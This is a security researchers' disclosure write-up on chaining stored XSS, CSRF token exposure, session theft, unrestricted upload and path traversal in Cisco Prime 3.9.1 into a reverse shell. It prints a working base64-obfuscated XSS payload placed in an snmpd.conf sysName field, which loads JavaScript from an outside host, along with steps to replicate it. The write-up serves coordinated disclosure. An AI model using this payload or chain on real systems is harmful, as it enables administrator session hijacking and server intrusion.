Cisco Prime 3.9.1 - RCE
Introduction
This report documents the vulnerabilities we found in Cisco Prime, version 3.9.1. Each of these vulnerabilities is not critical, but by chaining them together we managed to achieve remote code execution on the Cisco Prime appliance.
In short, we had a malicious system on the network that replies to SNMP queries. By carefully crafting the sysName data, we managed to trigger a Cross Site Scripting in the Prime Management interface, after the administrator did a SNMP based discovery on the network.
The XSS is used to download a malicious Javascript from our attack server. This malicious Javascript will run in the session of the administrator, upload a JSP based reverse shell to Tomcat and then run this shell to give us access to the Cisco Prime appliance.
We could bypass the upload restrictions because the upload of malicious files to the Prime server is checked in the web UI, not on the server. A path traversal vulnerability enabled us to upload our reverse shell anywhere on the filesystem where the Prime server has permissions to write, and by placing the reverse shell in the webroot, we were able to run it locally in Tomcat.
CVE-2022-20656 - CWE-24: Path Traversal
CVE-2022-20657 - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-352: Cross-Site Request Forgery
CWE-434: Unrestricted Upload of File with Dangerous Type
CWE-749: Exposed Dangerous Method or Function
POC Video
We have also created a POC video showing the process from XSS to RCE:
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in the sysName-field reflects it onto the application, triggers the exploitation.
Alternatively or in addition to; the payload can also be a HTML tag, pointing to a SMB resource, leaking the logged on Windows-user’s netNTLM hash
CWE-749: Exposed Dangerous Method or Function
Exposed Javascript function “wap.csrf_token”,makes it possible to collect CSRF-Token in XSS and use it in requests.
CWE-434: Unrestricted Upload of File with Dangerous Type
No control of filetype, makes it possible to upload jsp-files. Exploiting the Syslog-script upload. Even if the “Enable ‘Run Script’ policy action” under: “Administration / Settings / System Settings / Alarms and Events / Syslog Policies” is unticked, because that only enables or disables the option in the UI, it does nothing to the function itself.
CWE-24: Path Traversal
Path traversal vulnerability in the upload function, allows uploading files to any writable path as user “Prime”. Using this, jsp-files can be placed in webroot.
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
SessionID is also stored in browsers “LocalStorage”, so even if Session-Cookie is “HTML- Only”, it can be exfiltrated using XSS.
CWE-352: Cross-Site Request Forgery
Having control over the CSRF-Token, an attacker can now use CSRF against any function on the application.
Chaining vulnerabilities getting RCE
Walkthrough
1. SNMP
A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload
This javascript, will chain all the other vulnerabilities.
- Using CSRF, bypassing protection by generating it's own valid CSRF-token using exposed javascript CSRF token-function.
- Getting SessionID, stored unprotected in browsers “LocalStorage”.
- Uploading a jsp-revshell, as there is no filetype validation.
- Exploiting path traversal to place it where we wan't it.
- Lastly running the uploaded JSP-file, connecting a reverse shell back to the waiting attacker.
cat /etc/snmp/snmpd.conf
####################################################################
#
# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
# ####################################################################
# #
SECTION: System Information Setup
syslocation: The [typically physical] location of the system.
Note that setting this value here means that when trying to
perform an snmp SET operation to the sysLocation.0 variable will
#
#
#
make
# the agent return the "notWritable" error code. IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments: location_string
sysName <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0d
HBzOi8vZjIwLmJlL3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg src=x onerror=eval(atob(this.id))>Evil-Device
sysLocation Somewhere Over The Rainbow
sysContact MeHere the payload is placed in the sysName field, slightly obfuscated using base64 to bypass filtering:
<img
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0d
HBzOi8vZjIwLmJlL3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg
src=x onerror=eval(atob(this.id))>This is the base64 encoded string:
var a=document.createElement("script");a.src="https://f20.be/x.js";document.body.appendChild(a);To replicate, replace url and base64-encode it again. Remember to host the payload on a webserver with a valid certificate over SSL. On the server interface, do a discovery using SNMP on the subnet where the “Evil device” is located.
A SNMP discovery has to be run.
After a scan is run, we can see our XSS payload as a missing image icon in the results
2. Javascript
This payload is now stored in the application and will run an external javascript when triggered/loaded. In the POC, we use the following script. This should also work for you without changing other than the revshell variables and exfilurl
This javascript, will chain all the other vulnerabilities.
- Using CSRF, bypassing protection by generating it's own valid CSRF-token using exposed javascript CSRF token-function.
- Getting SessionID, stored unprotected in browsers “LocalStorage”.
- Uploading a jsp-revshell, as there is no filetype validation.
- Exploiting path traversal to place it where we wan't it.
- Lastly running the uploaded JSP-file, connecting a reverse shell back to the waiting attacker.
We would like to thank Cisco for working with us on mitigating these vulnerabilities.
As always, keep your patches up and stay safe,
Andreas Finstad (@4nqr34z) and Arthur Donkers (@theart42)